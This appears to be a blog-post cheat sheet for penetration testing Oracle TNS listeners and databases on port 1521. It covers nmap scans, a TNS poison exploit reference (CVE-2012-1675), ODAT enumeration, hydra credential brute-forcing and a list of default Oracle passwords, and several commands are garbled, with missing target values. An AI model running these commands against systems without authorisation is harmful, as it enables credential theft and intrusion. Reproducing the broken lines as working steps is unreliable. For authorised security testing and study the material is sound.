Pentesting Oracle TNS listener/ Database - Chaeatsheet - Port 1521


nmap -Pn -sV -p1521 --script=oracle*

#Check for service Version
#Oracle Database 11g,, and, and 10g,, and,
#try this exploit 
GitHub - bongbongco/CVE-2012-1675: Oracle Database TNS Listener Poison Attack Vulnerability 
 nmap -Pn -sT --script=+oracle-tns-poison.nse -p 1521

Oracle SQL:
Accessing Oracle DB using SQL Plus 
sudo mkdir -p /opt/oracle
sudo unzip -d /opt/oracle
sudo unzip -d /opt/oracle
nano ~/.bashrc
export PATH=$LD_LIBRARY_PATH:$PATH source ~/.bashrc sqlplus -V sqlplus username/password@sid sqlplus username/pass@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(
ODAT - Oracle Database Attacking Tool

#Download the release
tar -xvf filename

./odat all -s
./odat all -s -d SID_NAME
./odat all -s -d ''

#Check with creds
./odat all -s -p 1521 -d ORCL -U SYS -P password

#bruteforce when you know SID
./odat all -s -d '' --accounts-file accounts/accounts_multiple.txt
#Enum - Doesn't work if password protected 
sudo apt install tnscmd10g

tnscmd10g version -h
tnscmd10g status -h

#Login to DB
sqsh -S IP_Address:PORT -u username -p password
Brute Forcing 
hydra -P /usr/share/wordlists/rockyou.txt -t 32 -s 1521 oracle-listener
hydra -P /usr/share/wordlists/rockyou.txt -t 32 -s 1521 oracle

#Download wordlist from here
hydra -L /usr/share/oscanner/services.txt -s 1521 oracle-sid

#Brutefocing Creds - Require SID
./odat passwordguesser -d SID_NAME -s -p 1521 --accounts-file accounts/accounts_multiple.txt
Default Passwords

DBSNMP/DBSNMP — Intelligent Agent uses this to talk to the db server (its some work to change it)
SYS/CHANGE_ON_INSTALL — Default sysdba account before and including Oracle v9, as of version 10g this has to be different!
PCMS_SYS/PCMS_SYS — Default x account
WMSYS/WMSYS — Default x account
OUTLN/OUTLN — Default x account
SCOTT/TIGER — Default x account

use auxiliary/scanner/oracle/sid_enum
use auxiliary/admin/oracle/tnscmd
use auxiliary/admin/oracle/sid_brute 
use auxiliary/admin/oracle/oracle_login
Bhanu Namikaze

Bhanu Namikaze is an Ethical Hacker, Security Analyst, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and Capture the Flags. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

No comments:

Post a Comment